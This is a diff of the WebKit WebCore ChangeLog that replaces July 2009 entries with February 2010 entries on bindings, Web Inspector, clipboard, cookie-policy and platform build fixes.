-        * bindings/v8/V8DOMWrapper.cpp: Add bindings from HTML tags to datagrid templates.
-        (WebCore::V8DOMWrapper::getTemplate): Customize datagrid template.
-        * bindings/v8/V8DataGridDataSource.cpp: Added. (Based on JSDataGridDataSource)
-        (WebCore::V8DataGridDataSource::V8DataGridDataSource):
-        (WebCore::V8DataGridDataSource::~V8DataGridDataSource):
-        * bindings/v8/V8DataGridDataSource.h: Added. (Based on JSDataGridDataSource)
-        (WebCore::V8DataGridDataSource::create):
-        (WebCore::V8DataGridDataSource::isJSDataGridDataSource):
-        (WebCore::V8DataGridDataSource::jsDataSource):
-        (WebCore::asV8DataGridDataSource):
-        * bindings/v8/V8GCController.h: Added new handle type "DATASOURCE".
-        * bindings/v8/V8Index.h: Conditionalize datagrid stuff.
-        * bindings/v8/custom/V8CustomBinding.h: Declare more accessors. Conditionalize.
-        * bindings/v8/custom/V8DataGridColumnListCustom.cpp: Added.
-        * bindings/v8/custom/V8HTMLDataGridElementCustom.cpp: Fill in dataSource accessors.
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::ACCESSOR_SETTER):
-
-2009-07-22  Ryosuke Niwa  <rniwa@webkit.org>
-
-        Reviewed by Eric Seidel.
-
-        pushDownTextDecorationStyleAroundNode needs clean up
-        https://bugs.webkit.org/show_bug.cgi?id=27556
-
-        Cleaned up. pushDownTextDecorationStyleAroundNode traverses tree vertically from highestAncestor to targetNode
-        While traversing, it will apply the specified style to all nodes but targetNode.
-        i.e. the style is applies to all ancestor nodes and their siblings of targetNode.
-
-        * editing/ApplyStyleCommand.cpp:
-        (WebCore::ApplyStyleCommand::pushDownTextDecorationStyleAroundNode): Cleaned up and added comments
-        * editing/ApplyStyleCommand.h: Updated prototype
-
-2009-07-22  Peter Kasting  <pkasting@google.com>
-
-        Reviewed by David Kilzer.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27323
-        Handle any type of line endings in WebCore/css/*CSSPropertyNames.in.
-
-        * DerivedSources.make:
-        * css/makeprop.pl:
-        * css/makevalues.pl:
-
-2009-07-22  Paul Godavari  <paul@chromium.org>
-
-        Reviewed by Darin Fisher.
-
-        Chromium has a build break after removal of JSRGBColor bindings
-        https://bugs.webkit.org/show_bug.cgi?id=27548
-
-        Fix a build break in Chromium V8 after the JSRGBColor bindings change:
-        https://bugs.webkit.org/show_bug.cgi?id=27242
-
-        * bindings/scripts/CodeGeneratorV8.pm:
-
-2009-07-22  Adam Langley  <agl@google.com>
-
-        Reviewed by Darin Fisher.
-
-        Chromium Linux: add static functions to FontPlatformData which allow
-        for setting the global font rendering preferences.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27513
-        http://code.google.com/p/chromium/issues/detail?id=12179
-
-        This should not affect any layout tests.
-
-        * platform/graphics/chromium/FontPlatformDataLinux.cpp:
-        (WebCore::FontPlatformData::setHinting):
-        (WebCore::FontPlatformData::setAntiAlias):
-        (WebCore::FontPlatformData::setSubpixelGlyphs):
-        (WebCore::FontPlatformData::setupPaint):
-        * platform/graphics/chromium/FontPlatformDataLinux.h:
-
-2009-07-22  Mikhail Naganov  <mnaganov@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Move Inspector panels creation into a function to make possible introducing
-        custom panels.
-
-        * inspector/front-end/inspector.js:
-        (WebInspector._createPanels):
-        (WebInspector.loaded):
-
-2009-07-22  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        WebInspector: Print console command message upon evaluate
-        selection request; Handle errors in evaluation request
-        properly.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27535
-
-        * inspector/front-end/ScriptsPanel.js:
-        (WebInspector.ScriptsPanel.prototype.evaluateInSelectedCallFrame):
-        * inspector/front-end/SourceFrame.js:
-        (WebInspector.SourceFrame.prototype._evalSelectionInCallFrame):
-
-2009-07-22  Xan Lopez  <xlopez@igalia.com>
+        https://bugs.webkit.org/show_bug.cgi?id=34387
 
-        Attempt to fix the GTKbuild.
-
-        * GNUmakefile.am:
-
-2009-07-21  Simon Hausmann  <simon.hausmann@nokia.com>
-
-        Fix the Qt build.
-
-        * WebCore.pro: Add RGBColor.cpp to the build, remove JSRGBColor.
-
-2009-07-21  Daniel Bates  <dbates@intudata.com>
-
-        Reviewed by Adam Barth.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27494
-
-        Fixes an issue that can cause a crash or unexpected behavior when calling
-        WebCore::ScriptSourceCode::source on a cached script.
-
-        * GNUmakefile.am:
-        * WebCore.gypi:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * bindings/js/CachedScriptSourceProvider.h: Modified to inherit from 
-        WebCore::ScriptSourceCode.
-        (WebCore::CachedScriptSourceProvider::source):
-        (WebCore::CachedScriptSourceProvider::CachedScriptSourceProvider):
-        * bindings/js/ScriptSourceCode.h:
-        (WebCore::ScriptSourceCode::ScriptSourceCode): Separated out source provider and
-        rewrote to use WebCore::ScriptSourceProvider.
-        (WebCore::ScriptSourceCode::source):
-        * bindings/js/ScriptSourceProvider.h: Added.
-        (WebCore::ScriptSourceProvider::ScriptSourceProvider):
-        (WebCore::ScriptSourceProvider::~ScriptSourceProvider):
-        * bindings/js/StringSourceProvider.h: Modified to inherit from 
-        WebCore::ScriptSourceCode.
-        (WebCore::StringSourceProvider::StringSourceProvider):
-
-2009-07-21  Sam Weinig  <sam@webkit.org>
-
-        Another attempt to fix the Windows build.
-
-        * WebCore.vcproj/WebCore.vcproj:
-
-2009-07-21  Sam Weinig  <sam@webkit.org>
-
-        Attempt to fix the Windows build.
-
-        * DerivedSources.cpp:
-
-2009-07-21  Sam Weinig  <sam@webkit.org>
-
-        Attempt to fix the GTK build.
-
-        * GNUmakefile.am:
-
-2009-07-21  Sam Weinig  <sam@webkit.org>
-
-        Reviewed by Dan Bernstein.
-
-        Autogenerate Objective-C binding implementation for RGBColor.
-
-        No functionality change.
-
-        * WebCore.xcodeproj/project.pbxproj: 
-        * bindings/objc/DOMRGBColor.mm: Removed.
-        * bindings/scripts/CodeGeneratorObjC.pm: Add logic to convert from
-        WebCore::Color to NSColor*.
-        * css/RGBColor.idl:
-
-2009-07-21  Sam Weinig  <sam@webkit.org>
-
-        Reviewed by Dan Bernstein.
-
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=27242
-        JSC bindings should use an auto-bound RGBColor class instead of hand-rolled JSRGBColor
-
-        Move the JSC and Objective-C bindings onto using the RGBColor object instead
-        of just an unsigned int. The JSC bindings are now completely autogenerated for
-        this class. (Also removes the last lut from WebCore).
+        No new tests.
 
-        * DerivedSources.make:
         * GNUmakefile.am:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * bindings/js/JSRGBColor.cpp: Removed.
-        * bindings/js/JSRGBColor.h: Removed.
-        * bindings/objc/DOM.mm:
-        (-[DOMRGBColor _color]):
-        * bindings/objc/DOMRGBColor.mm:
-        (-[DOMRGBColor dealloc]):
-        (-[DOMRGBColor finalize]):
-        (-[DOMRGBColor red]):
-        (-[DOMRGBColor green]):
-        (-[DOMRGBColor blue]):
-        (-[DOMRGBColor alpha]):
-        (-[DOMRGBColor color]):
-        * bindings/scripts/CodeGenerator.pm:
-        * bindings/scripts/CodeGeneratorJS.pm:
-        * bindings/scripts/CodeGeneratorObjC.pm:
-        * css/CSSParser.cpp:
-        (WebCore::CSSParser::parseColor):
-        * css/CSSPrimitiveValue.cpp:
-        (WebCore::CSSPrimitiveValue::getRGBColorValue):
-        * css/CSSPrimitiveValue.h:
-        (WebCore::CSSPrimitiveValue::getRGBA32Value):
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::getColorFromPrimitiveValue):
-        * css/RGBColor.cpp:
-        (WebCore::RGBColor::alpha):
-        * css/RGBColor.h:
-        (WebCore::RGBColor::color):
-        (WebCore::RGBColor::RGBColor):
-        * css/RGBColor.idl:
-        * page/DOMWindow.idl:
-        * svg/SVGColor.cpp:
-        (WebCore::SVGColor::rgbColor):
-        * svg/SVGColor.h:
-
-2009-07-21  Jian Li  <jianli@chromium.org>
-
-        Reviewed by David Levin.
-
-        Implement AbstractWorker::dispatchScriptErrorEvent by generating an ErrorEvent.
-        https://bugs.webkit.org/show_bug.cgi?id=27515
-
-        * workers/AbstractWorker.cpp:
-        (WebCore::AbstractWorker::dispatchScriptErrorEvent):
-
-2009-07-21  Eric Seidel  <eric@webkit.org>
-
-        Reviewed by Adam Barth.
-
-        Move m_context out of generator into a superclass
-        https://bugs.webkit.org/show_bug.cgi?id=27521
-
-        Mostly this is removing code from CodeGeneratorJS
-        and instead using a DOMObjectWithSVGContext superclass in JSDOMBinding.h.
-
-        DOMObjectWithSVGContext.h is its own file so that WebKit doesn't need to
-        know about SVGElement.h (WebKit includes JSDOMBinding.h for some reason).
-
-        I also removed context pointer from SVGZoomEvent since it was never used.
-
-        * WebCore.gypi:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * bindings/js/DOMObjectWithSVGContext.h: Added.
-        (WebCore::DOMObjectWithSVGContext::context):
-        (WebCore::DOMObjectWithSVGContext::DOMObjectWithSVGContext):
-        * bindings/js/JSDOMBinding.h:
-        * bindings/js/JSEventCustom.cpp:
-        (WebCore::toJS):
-        * bindings/scripts/CodeGeneratorJS.pm:
-
-2009-07-21  Ryosuke Niwa  <rniwa@webkit.org>
-
-        Reviewed by Eric Seidel.
-
-        REGRESSION (r46142):  editing/execCommand/19087.html & editing/execCommand/19653-1.html fail in Windows build
-        https://bugs.webkit.org/show_bug.cgi?id=27480
-
-        Because m_anchorType : 2 is treated as a signed integer by cl.exe, anchorType() wasn't returning the correct value.
-        We made m_anchorType unsigned so that anchorType() returns the correct value.
 
-        * dom/Position.h:
-        (WebCore::Position::anchorType): statically cast to AnchorType
-
-2009-07-21  Jian Li  <jianli@chromium.org>
+2010-02-04  Stephan Aßmus  <superstippi@gmx.de>
 
         Reviewed by David Levin.
 
-        [V8] Add V8 bindings for onerror in WorkerContext.
-        https://bugs.webkit.org/show_bug.cgi?id=27518
-
-        * bindings/v8/custom/V8CustomBinding.h:
-        * bindings/v8/custom/V8WorkerContextCustom.cpp:
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::ACCESSOR_SETTER):
-
-2009-07-21  Jian Li  <jianli@chromium.org>
-
-        Fix the incorrect patch being landed for bug 27516 that has already been reviewed.
-        https://bugs.webkit.org/show_bug.cgi?id=27516
-
-        * workers/WorkerContext.h:
-        (WebCore::WorkerContext::setOnerror):
-        (WebCore::WorkerContext::onerror):
-        * workers/WorkerContext.idl:
-
-2009-07-21  Jian Li  <jianli@chromium.org>
-
-        Reviewed by David Levin.
-
-        Add onerror to WorkerContext.
-        https://bugs.webkit.org/show_bug.cgi?id=27516
-
-        * bindings/js/JSWorkerContextCustom.cpp:
-        (WebCore::JSWorkerContext::mark):
-        * workers/WorkerContext.h:
-        (WebCore::WorkerContext::setOnerror):
-        (WebCore::WorkerContext::onerror):
-        * workers/WorkerContext.idl:
-
-2009-07-21  Yong Li  <yong.li@torchmobile.com>
-
-        Reviewed by George Staikos.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27509
-        Add font-related files for the WinCE port.
-
-        Written by Yong Li <yong.li@torchmobile.com>
-
-        * platform/graphics/wince/FontCacheWince.cpp: Added.
-        * platform/graphics/wince/FontCustomPlatformData.cpp: Added.
-        * platform/graphics/wince/FontCustomPlatformData.h: Added.
-        * platform/graphics/wince/FontPlatformData.cpp: Added.
-        * platform/graphics/wince/FontPlatformData.h: Added.
-        * platform/graphics/wince/FontWince.cpp: Added.
-        * platform/graphics/wince/GlyphPageTreeNodeWince.cpp: Added.
-        * platform/graphics/wince/SimpleFontDataWince.cpp: Added.
-
-2009-07-21  Kevin Ollivier  <kevino@theolliviers.com>
-
-        Fix the Windows build, and update the comment on top now that wx uses WebCorePrefix.h too.
-
-        * WebCorePrefix.h:
-
-2009-07-21  Kevin Ollivier  <kevino@theolliviers.com>
-
-        WebCorePrefix.h build fixes for non-Mac and wx / CURL builds.
-
-        * WebCorePrefix.h:
-
-2009-07-21  Eric Seidel  <eric@webkit.org>
-
-        Reviewed by Adam Barth.
-
-        All DOMConstructorObjects should hold a pointer to the JSDOMGlobalObject
-        https://bugs.webkit.org/show_bug.cgi?id=27478
-
-        This is just moving code.
-        I've added two new classes: DOMObjectWithGlobalPointer and DOMConstructorWithDocument.
-
-        DOMObjectWithGlobalPointer is a new baseclass for DOMConstructorObject.
-        (It's a baseclass because eventually all DOMObjects will have a global pointer, but
-        I'll be moving them onto DOMObjectWithGlobalPointer in stages.)
-
-        DOMConstructorWithDocument is a new baseclass for the 3 constructor objects
-        which require a backpointer to the Document to function.  I made this a subclass of
-        DOMConstructorObject to make clear that most constructors can hold no-such assumptions
-        about having a back-pointer to the Document (since many constructors can be used from Workers).
-
-        * bindings/js/JSAudioConstructor.cpp:
-        (WebCore::JSAudioConstructor::JSAudioConstructor):
-        * bindings/js/JSAudioConstructor.h:
-        * bindings/js/JSDOMBinding.h:
-        (WebCore::DOMObjectWithGlobalPointer::globalObject):
-        (WebCore::DOMObjectWithGlobalPointer::scriptExecutionContext):
-        (WebCore::DOMObjectWithGlobalPointer::DOMObjectWithGlobalPointer):
-        (WebCore::DOMObjectWithGlobalPointer::mark):
-        (WebCore::DOMConstructorObject::DOMConstructorObject):
-        (WebCore::DOMConstructorWithDocument::document):
-        (WebCore::DOMConstructorWithDocument::DOMConstructorWithDocument):
-        * bindings/js/JSImageConstructor.cpp:
-        (WebCore::JSImageConstructor::JSImageConstructor):
-        * bindings/js/JSImageConstructor.h:
-        * bindings/js/JSMessageChannelConstructor.cpp:
-        (WebCore::JSMessageChannelConstructor::JSMessageChannelConstructor):
-        * bindings/js/JSMessageChannelConstructor.h:
-        * bindings/js/JSOptionConstructor.cpp:
-        (WebCore::JSOptionConstructor::JSOptionConstructor):
-        * bindings/js/JSOptionConstructor.h:
-        * bindings/js/JSWebKitCSSMatrixConstructor.cpp:
-        (WebCore::JSWebKitCSSMatrixConstructor::JSWebKitCSSMatrixConstructor):
-        * bindings/js/JSWebKitPointConstructor.cpp:
-        (WebCore::JSWebKitPointConstructor::JSWebKitPointConstructor):
-        * bindings/js/JSWorkerConstructor.cpp:
-        (WebCore::JSWorkerConstructor::JSWorkerConstructor):
-        * bindings/js/JSXMLHttpRequestConstructor.cpp:
-        (WebCore::JSXMLHttpRequestConstructor::JSXMLHttpRequestConstructor):
-        * bindings/js/JSXMLHttpRequestConstructor.h:
-        * bindings/js/JSXSLTProcessorConstructor.cpp:
-        (WebCore::JSXSLTProcessorConstructor::JSXSLTProcessorConstructor):
-
-2009-07-21  James Hawkins  <jhawkins@google.com>
-
-        Reviewed by David Hyatt.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27453
-        Initialize isInt when creating a CSSParserValue for a function.
-
-        No change in behavior, so no tests.
-
-        * css/CSSFunctionValue.cpp:
-        (WebCore::CSSFunctionValue::parserValue):
-
-2009-07-20  Jens Alfke  <snej@google.com>
- 
-         Reviewed by David Levin.
- 
-         Bug 27448: [Chromium] On Mac, arrow keys should cause Select to pop up its menu.
-         Mac build of Chromium doesn't follow Mac HI guidelines to pop up the menu when
-         an arrow key is pressed.
-         https://bugs.webkit.org/show_bug.cgi?id=27448
- 
-         No new tests; affects only control response to user input.
- 
-         * dom/SelectElement.cpp:
-         Changed definition of ARROW_KEYS_POP_MENU to make it true in Mac Chromium,
-         so it will behave compatibly with Mac HI guidelines on pop-up menus.
-         It's not possible to have PLATFORM(MAC) be true in the Mac build of Chromium.
- 
-2009-07-21  Paul Godavari  <paul@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        [Chromium] popup menus can crash when the selected index is -1
-        https://bugs.webkit.org/show_bug.cgi?id=27275
-
-        Crash reports from users indicate a crash can occur when PopupListBox::isSelectableItem
-        is passed an index of less than 0 (which is possible under certain circumstances). This
-        change prevents such a value from causing a crash by enforcing valid index values passed
-        by all callers of isSelectableItem. isSelectableItem is now a private method of
-        PopupListBox, as there are no external callers.
-
-        Also cleaned up a small amount of code for style and grammar errors.
-
-        No automatic test is provided since we cannot send events to the child window used by
-        the popup menu.
-
-        * platform/chromium/PopupMenuChromium.cpp:
-        (WebCore::PopupListBox::acceptIndex):
-        (WebCore::PopupListBox::selectIndex):
-        (WebCore::PopupListBox::isSelectableItem):
-        (WebCore::PopupListBox::selectPreviousRow):
-
-2009-07-21  Kevin Ollivier  <kevino@theolliviers.com>
-
-        wx build fix. Don't include winsock2.h on wx, it conflicts with wx's inclusion of winsock.
-
-        * platform/network/curl/ResourceHandleManager.h:
+        Misc coding style fixes in Haiku port code.
+        https://bugs.webkit.org/show_bug.cgi?id=34527
 
-2009-07-21  Adam Roben  <aroben@apple.com>
+        No tests needed.
 
-        Roll out r46153, r46154, and r46155
-
-        These changes were causing build failures and assertion failures on
-        Windows.
-
-        * ForwardingHeaders/wtf/PossiblyNull.h: Removed.
-        * platform/graphics/cg/ImageBufferCG.cpp:
+        * platform/haiku/ContextMenuItemHaiku.cpp: Trailing white space, NULL -> 0
+        * platform/haiku/DragImageHaiku.cpp: Trailing white space.
+        * platform/haiku/FileChooserHaiku.cpp: Sorted headers.
+        * platform/haiku/LocalizedStringsHaiku.cpp: Needed to include NotImplemented.h
 
-2009-07-21  Jian Li  <jianli@chromium.org>
+2010-02-04  Enrica Casucci  <enrica@apple.com>
 
-        Reviewed by Eric Seidel.
+        Reviewed by Csaba Osztrogonac.
 
-        Implement ErrorEvent API.
-        https://bugs.webkit.org/show_bug.cgi?id=27387
+        Fixed crash on QT introduced with the fix for
+        https://bugs.webkit.org/show_bug.cgi?id=34609
 
-        * DerivedSources.cpp:
-        * DerivedSources.make:
-        * GNUmakefile.am:
-        * WebCore.gypi:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * bindings/js/JSEventCustom.cpp:
-        (WebCore::toJS):
-        * dom/ErrorEvent.cpp: Added.
-        * dom/ErrorEvent.h: Added.
-        * dom/ErrorEvent.idl: Added.
-        * dom/Event.cpp:
-        (WebCore::Event::isErrorEvent):
-        * dom/Event.h:
+        The test has been added with the original patch.
+        
+        * platform/qt/ClipboardQt.cpp:
+        (WebCore::ClipboardQt::writePlainText): Added missing allocation of m_writeData.
 
-2009-07-21  Priit Laes  <plaes@plaes.org>
+2010-02-04  Christian Dywan  <christian@twotoasts.de>
 
-        Reviewed by Gustavo Noronha.
-
-        [Gtk] Searching in thepiratebay.org doesn't work with more than 1 word
-        https://bugs.webkit.org/show_bug.cgi?id=24602
+        Reviewed by Xan Lopez.
 
-        Remove workaround required for <=libsoup-2.26.1
+        Conditionalize third party cookie policy for libsoup 2.29.90.
 
+        * platform/network/soup/CookieJarSoup.cpp:
+        (WebCore::setCookies):
+        * platform/network/soup/DNSSoup.cpp:
+        (WebCore::prefetchDNS):
         * platform/network/soup/ResourceHandleSoup.cpp:
         (WebCore::restartedCallback):
+        (WebCore::startHttp):
+        * platform/network/soup/ResourceRequestSoup.cpp:
+        (WebCore::ResourceRequest::toSoupMessage):
+        (WebCore::ResourceRequest::updateFromSoupMessage):
 
-2009-07-21  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by David Levin.
+2010-02-04  Christian Dywan  <christian@twotoasts.de>
 
-        V8IsolatedWorld keeps a handle to a disposed context
-        https://bugs.webkit.org/show_bug.cgi?id=27397
+        Rubber-stamped by Gustavo Noronha Silva.
 
-        Make a copy of the context handle before making it weak.  We don't want
-        to make the original handle weak because we want it to survive for the
-        length of the V8IsolatedWorld::evaluate method.
+        Add ENABLE(VIDEO) guards around freeOwnedGPtr<GstElement> implementation.
 
-        * bindings/v8/V8IsolatedWorld.cpp:
-        (WebCore::V8IsolatedWorld::V8IsolatedWorld):
+        * platform/gtk/GOwnPtrGtk.cpp:
 
-2009-07-21  Pavel Feldman  <pfeldman@chromium.org>
+2010-02-04  Alexey Proskuryakov  <ap@apple.com>
 
-        Reviewed by Timothy Hatcher.
+        Reviewed by Darin Adler.
 
-        Web Inspector: Add ability to evaluate selection while on break point.
+        Assertion failure in CheckedRadioButtons::removeButton when using jQuery 1.4.1
+        https://bugs.webkit.org/show_bug.cgi?id=34520
 
-        https://bugs.webkit.org/show_bug.cgi?id=27502
+        Test: fast/dom/HTMLInputElement/cloned-input-checked-state.html
 
-        * inspector/front-end/SourceFrame.js:
-        (WebInspector.SourceFrame.prototype._loaded):
-        (WebInspector.SourceFrame.prototype._documentKeyDown):
+        * dom/Element.cpp: (WebCore::Element::cloneElementWithoutChildren): Copy non-attribute
+        properties before attributes. Otherwise, copying "checked" attribute would make the cloned
+        node checked, unchecking original (they share a name, and are thus in the same radio group).
+        We do want the original to be unchecked, but we also want to know its original state in
+        HTMLInputElement::copyNonAttributeProperties().
 
-2009-07-21  Pavel Feldman  <pfeldman@chromium.org>
+        * html/HTMLInputElement.cpp: (WebCore::HTMLInputElement::copyNonAttributeProperties):
+        Use setChecked instead of plain assignment to prevent m_checked getting out of sync with
+        checkedRadioButtons. Also, copy field related to default checked state, so that m_checked
+        won't be overridden when copying attributes.
 
-        Reviewed by Timothy Hatcher.
+2010-02-04  Kevin Ollivier  <kevino@theolliviers.com>
 
-        WebInspector: Special case ConsolePanel opening since
-        it is a 'fast view'.
+        [wx] Build fix after addition of Clipboard::writePlainText method.
 
-        https://bugs.webkit.org/show_bug.cgi?id=27493
+        * platform/wx/ClipboardWx.cpp:
+        (WebCore::ClipboardWx::writePlainText):
+        * platform/wx/ClipboardWx.h:
 
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::setWindowVisible):
+2010-02-04  Enrica Casucci  <enrica@apple.com>
 
-2009-07-20  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+        Reviewed by Oliver Hunt.
 
-        Reviewed by Eric Seidel.
+        REGRESSION: Dragging plain text into a styled text region does not acquire the correct style info.
+        <rdar://problem/7595685>
+        https://bugs.webkit.org/show_bug.cgi?id=34609
 
-        Fix Qt code to follow the WebKit Coding Style.
+        Test: editing/pasteboard/drop-inputtext-acquires-style.html
 
-        * platform/graphics/qt/FontQt.cpp:
-        (WebCore::qstring):
-        (WebCore::fixSpacing):
-        * platform/graphics/qt/FontQt43.cpp:
-        (WebCore::generateComponents):
-        (WebCore::Font::offsetForPositionForComplexText):
-        (WebCore::cursorToX):
-        * platform/graphics/qt/GradientQt.cpp:
-        (WebCore::Gradient::platformGradient):
-        * platform/graphics/qt/GraphicsContextQt.cpp:
-        (WebCore::toQtFillRule):
-        (WebCore::GraphicsContextPlatformPrivate::GraphicsContextPlatformPrivate):
-        (WebCore::GraphicsContext::~GraphicsContext):
-        (WebCore::GraphicsContext::getCTM):
-        (WebCore::GraphicsContext::concatCTM):
-        (WebCore::GraphicsContext::getWindowsContext):
-        * platform/graphics/qt/IconQt.cpp:
-        (WebCore::Icon::paint):
-        * platform/graphics/qt/ImageDecoderQt.cpp:
-        (WebCore::ImageDecoderQt::ReadContext::read):
-        (WebCore::ImageDecoderQt::ReadContext::readImageLines):
-        (WebCore::ImageDecoderQt::setData):
-        * platform/graphics/qt/ImageQt.cpp:
-        (WebCore::Image::drawPattern):
-        (WebCore::BitmapImage::draw):
-        * platform/graphics/qt/ImageSourceQt.cpp:
-        (WebCore::ImageSource::frameDurationAtIndex):
-        (WebCore::ImageSource::frameHasAlphaAtIndex):
-        (WebCore::ImageSource::frameIsCompleteAtIndex):
-        * platform/graphics/qt/MediaPlayerPrivatePhonon.cpp:
-        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
-        (WebCore::MediaPlayerPrivate::create):
-        (WebCore::MediaPlayerPrivate::bytesLoaded):
-        (WebCore::MediaPlayerPrivate::updateStates):
-        * platform/graphics/qt/PathQt.cpp:
-        (WebCore::Path::addArcTo):
-        (WebCore::Path::isEmpty):
-        * platform/graphics/qt/TransformationMatrixQt.cpp:
-        (WebCore::TransformationMatrix::operator QTransform):
+        The dragging code did not distinguish the case of dragging the content of an input control
+        as a special case. The markup placed in the pasteboard included the style information.
+        I've modified the Clipboard class interface adding a new method writePlainText to match the
+        behavior of the copy and cut commands and modified the drag code to detect the special case.
+        I've modified all the platform specific implementations of the Clipboard class.
+        
+        * dom/Clipboard.h: Added writePlainText pure virtual function.
+        * editing/Editor.cpp:
+        (WebCore::Editor::cut): Renamed nodeIsTextFormControl to isNodeInTextFormControl.
+        (WebCore::Editor::copy): Renamed nodeIsTextFormControl to isNodeInTextFormControl.
+        * editing/htmlediting.cpp:
+        (WebCore::isNodeInTextFormControl): Added, after removing the implementation with the old name
+        in Editor.cpp
+        * editing/htmlediting.h:
+        * page/DragController.cpp:
+        (WebCore::DragController::startDrag):
+        * platform/Pasteboard.h:
+        * platform/android/ClipboardAndroid.cpp:
+        (WebCore::ClipboardAndroid::writePlainText): Added.
+        * platform/android/ClipboardAndroid.h:
+        * platform/chromium/ClipboardChromium.cpp:
+        (WebCore::ClipboardChromium::writePlainText): Added.
+        * platform/chromium/ClipboardChromium.h:
+        * platform/gtk/ClipboardGtk.cpp:
+        (WebCore::ClipboardGtk::writePlainText): Added.
+        * platform/gtk/ClipboardGtk.h:
+        * platform/haiku/ClipboardHaiku.cpp:
+        (WebCore::ClipboardHaiku::writePlainText): Added.
+        * platform/haiku/ClipboardHaiku.h:
+        * platform/mac/ClipboardMac.h:
+        * platform/mac/ClipboardMac.mm:
+        (WebCore::ClipboardMac::writePlainText): Added.
+        * platform/mac/PasteboardMac.mm:
+        (WebCore::Pasteboard::writePlainText): Added helper function.
         * platform/qt/ClipboardQt.cpp:
-        (WebCore::ClipboardQt::ClipboardQt):
-        (WebCore::ClipboardQt::clearData):
-        (WebCore::ClipboardQt::clearAllData):
-        (WebCore::ClipboardQt::getData):
-        (WebCore::ClipboardQt::setData):
-        (WebCore::ClipboardQt::setDragImage):
-        (WebCore::getCachedImage):
-        (WebCore::ClipboardQt::declareAndWriteDragImage):
-        (WebCore::ClipboardQt::writeURL):
-        (WebCore::ClipboardQt::writeRange):
-        (WebCore::ClipboardQt::hasData):
+        (WebCore::ClipboardQt::writePlainText): Added.
         * platform/qt/ClipboardQt.h:
-        * platform/qt/ContextMenuItemQt.cpp:
-        (WebCore::ContextMenuItem::action):
-        (WebCore::ContextMenuItem::title):
-        * platform/qt/CursorQt.cpp:
-        (WebCore::westPanningCursor):
-        (WebCore::notAllowedCursor):
-        * platform/qt/DragDataQt.cpp:
-        (WebCore::DragData::containsFiles):
-        (WebCore::DragData::asFilenames):
-        (WebCore::DragData::asPlainText):
-        (WebCore::DragData::asFragment):
-        * platform/qt/DragImageQt.cpp:
-        (WebCore::createDragImageIconForCachedImage):
-        * platform/qt/FileSystemQt.cpp:
-        (WebCore::getFileSize):
-        (WebCore::unloadModule):
-        * platform/qt/Localizations.cpp:
-        (WebCore::contextMenuItemTagShowSpellingPanel):
-        * platform/qt/MIMETypeRegistryQt.cpp:
-        (WebCore::):
-        * platform/qt/PasteboardQt.cpp:
-        (WebCore::Pasteboard::Pasteboard):
-        (WebCore::Pasteboard::writeSelection):
-        (WebCore::Pasteboard::plainText):
-        * platform/qt/PlatformKeyboardEventQt.cpp:
-        (WebCore::PlatformKeyboardEvent::PlatformKeyboardEvent):
-        * platform/qt/PlatformMouseEventQt.cpp:
-        (WebCore::PlatformMouseEvent::PlatformMouseEvent):
-        * platform/qt/PopupMenuQt.cpp:
-        (WebCore::PopupMenu::populate):
-        * platform/qt/RenderThemeQt.cpp:
-        (WebCore::RenderThemeQt::fallbackStyle):
-        (WebCore::inflateButtonRect):
-        (WebCore::RenderThemeQt::computeSizeBasedOnStyle):
-        (WebCore::RenderThemeQt::paintButton):
-        (WebCore::RenderThemeQt::paintMenuList):
-        (WebCore::RenderThemeQt::applyTheme):
-        (WebCore::WorldMatrixTransformer::WorldMatrixTransformer):
-        (WebCore::RenderThemeQt::paintMediaBackground):
-        (WebCore::RenderThemeQt::paintMediaFullscreenButton):
-        * platform/qt/RenderThemeQt.h:
-        * platform/qt/ScreenQt.cpp:
-        (WebCore::screenRect):
-        (WebCore::usableScreenRect):
-        * platform/qt/ScrollbarQt.cpp:
-        (WebCore::Scrollbar::contextMenu):
-        * platform/qt/ScrollbarThemeQt.cpp:
-        (WebCore::scPart):
-        (WebCore::scrollbarPart):
-        * platform/qt/ScrollbarThemeQt.h:
-        * platform/qt/SharedBufferQt.cpp:
-        (WebCore::SharedBuffer::createWithContentsOfFile):
-        * platform/qt/TemporaryLinkStubs.cpp:
-        (PluginDatabase::defaultPluginDirectories):
-        (PluginDatabase::getPluginPathsInDirectories):
-        (PluginDatabase::isPreferredPluginDirectory):
-        (WebCore::getSupportedKeySizes):
-        (WebCore::signedPublicKeyAndChallengeString):
-        (WebCore::userIdleTime):
-        (WebCore::prefetchDNS):
-        * platform/text/qt/StringQt.cpp:
-        (WebCore::String::String):
-        * platform/text/qt/TextBoundaries.cpp:
-        * platform/text/qt/TextBreakIteratorQt.cpp:
-        (WebCore::TextBreakIterator::following):
-        (WebCore::TextBreakIterator::preceding):
-        (WebCore::WordBreakIteratorQt::first):
-        (WebCore::WordBreakIteratorQt::next):
-        (WebCore::WordBreakIteratorQt::previous):
-        (WebCore::CharBreakIteratorQt::first):
-        (WebCore::CharBreakIteratorQt::next):
-        (WebCore::CharBreakIteratorQt::previous):
-        (WebCore::characterBreakIterator):
-        * plugins/qt/PluginPackageQt.cpp:
-        (WebCore::PluginPackage::fetchInfo):
